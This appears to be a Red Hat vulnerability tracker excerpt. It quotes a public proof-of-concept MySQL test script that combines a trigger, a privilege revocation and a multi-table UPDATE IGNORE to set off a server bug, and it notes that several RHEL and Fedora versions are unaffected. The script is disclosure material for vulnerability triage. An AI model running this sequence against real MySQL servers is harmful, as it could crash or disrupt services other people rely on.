Public PoC from [2]:
====================

# Non-concurrent MTR test

--disable_warnings
DROP DATABASE IF EXISTS celosia_features;
--enable_warnings

CREATE DATABASE celosia_features;
USE celosia_features;

GRANT ALL ON celosia_features.* TO 'systuser'@'localhost';

--connect(con1,localhost,systuser,,celosia_features)

CREATE TABLE t_celosia_1 (
  `user_num` bigint(20) unsigned DEFAULT NULL,
  `year` year(4) DEFAULT NULL,
  `modified` time DEFAULT NULL
);
INSERT INTO t_celosia_1 VALUES (7197513499,1937,'20:36:48');

CREATE TRIGGER celosia_features.upd_t_celosia_1
BEFORE UPDATE ON t_celosia_1 FOR EACH ROW SET new.modified = NOW();

CREATE TABLE `t_celosia_2` (
  `user_num` char(5) DEFAULT NULL,
  `year` year(2) DEFAULT NULL,
  `modified` timestamp NOT NULL
);

INSERT INTO `t_celosia_2` VALUES ('32264',56,'2010-07-18 17:36:31');

--connection default

REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'systuser'@'localhost';

UPDATE IGNORE t_celosia_1 table1, t_celosia_2 table2
SET table1.user_num = 192720, table2.user_num = '39582'
WHERE table1.year = '1937' AND table2.year = '56';

# Cleanup

DROP DATABASE celosia_features;
DROP USER 'systuser'@'localhost';

--exit

This issue did NOT affect the versions of the mysql package, as shipped with
Red Hat Enterprise Linux 4, 5, and 6.

--

This issue did NOT affect the versions of the mysql package, as shipped with
Fedora release of 14 and 15.